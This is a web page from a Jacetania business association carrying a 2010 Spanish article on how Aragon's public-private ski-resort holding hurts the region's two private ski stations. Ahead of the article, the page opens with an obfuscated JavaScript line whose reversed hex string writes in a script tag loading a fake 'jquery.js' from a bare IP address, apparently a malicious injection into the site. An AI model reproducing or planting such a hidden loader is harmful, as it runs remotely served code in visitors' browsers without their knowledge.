var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])) Historia del nacimiento de un Holding y sus consecuencias | AEJ
 974 360 019
 aejacetania@ceos.es

Historia del nacimiento de un Holding y sus consecuencias

  AEJ   30 Sep, 2010   economía, Empleo, Nieve, Turismo   0 Comentarios

El Gobierno de Aragón, consciente de la importancia del sector turístico en el PIB y en el empleo, ha apostado por potenciarlo desarrollando un Plan de la Nieve Aragonesa, invirtiendo cifras millonarias de euros en la promoción, renovación y ampliación de las actuales y futuras estaciones de esquí.

La DGA, con buen criterio, para salvar la economía y el empleo en las zonas donde se ubicaban estaciones con dificultades, tuvo que adquirir dos estaciones en la provincia de Huesca y dos en la provincia de Teruel, para que no se cerraran. Sumadas a una, que por dificultades económicas tuvo que hacerse cargo IBERCAJA, y a las dos existentes de propiedad privada en la Jacetania, hacen el total de siete estaciones de esquí aragonesas (cinco de la provincia de Huesca y dos en la provincia de Teruel).

Para desarrollar el plan de apoyo y expansión de la nieve ARAGONESA, la DGA crea una sociedad público-privada con IBERCAJA al 50% en la que mediante un Holding incorporan a las cuatro estaciones propiedad de la DGA y a la estación propiedad de IBERCAJA, quedando fuera de este Plan las dos estaciones de la Comarca de la Jacetania.

Esta situación ha creado una competencia fraticida entre el Holding público – semipúblico y las dos estaciones privadas, cuyo resultado es fácil de diagnosticar, pero para mayor comprensión vamos a ilustrar recopilando una serie de datos ya publicados en ediciones anteriores de nuestra revista sobre la actualidad económica BURNAO:

  • El Holding ha incrementado el número de esquiadores en 361.000, mientras las estaciones privadas han tenido un descenso de 156.000.
  • En la nieve aragonesa, la cuota de mercado del Holding ha crecido del 57,26% al 71,53%, mientras en las estaciones privadas ha descendido del 42,74% al 28,47% actual.

Siempre hemos defendido que la misión de las empresas públicas no es competir con las empresas privadas, ni dar beneficios, sino salvar la economía y el empleo de las zonas que necesitan una ayuda. Por eso no reprochamos los resultados económicos de dichas sociedades, pero sí que esa postura permita con dinero público ir debilitando la viabilidad de las estaciones privadas.

Tampoco nos hemos manifestado sobre el montante de las inversiones que se están realizando en las estaciones del Holding semipúblico, ni sobre el proyecto de crear una estación nueva con una inversión cercana a los 400 millones de euros. Lo único que pedimos es una equidad con “todas” las estaciones ARAGONESAS.

Ya no solo lo decimos nosotros, un reciente estudio realizado por IBERCAJA, se constata el impacto negativo en la economía y el empleo de la Comarca de la Jacetania. Las últimas estadísticas oficiales ratifican que en la actualidad el desempleo de esta Comarca es un 10% más alto que la media de Aragón.

Antes de arrojar la toalla esperando el desenlace final para hacer el recuento de las empresas que han sobrevivido y como se enfoca su supervivencia para el futuro, queremos hacer un llamamiento a las autoridades locales de la Jacetania, con el ruego de que nos ayuden a apoyar la búsqueda de soluciones, para mediar en la situación a la que estamos abocados y que nos conduce a un desenlace muy desolador.

No nos encomendamos a las autoridades autonómicas porque consideramos que con la distancia los problemas se diluyen y pierden dramatismo, en cambio en la cercanía se viven más intensamente y por esa cercanía las autoridades locales son las primeras que se ven más presionadas, mas comprometidas y que a la vez más se juegan, puesto que sus ciudadanos saben valorar su compromiso y obran en consecuencia.

Dejar Comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*

Empresarios Jacetania 

Uso de cookies

Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies. ACEPTAR

Aviso de cookies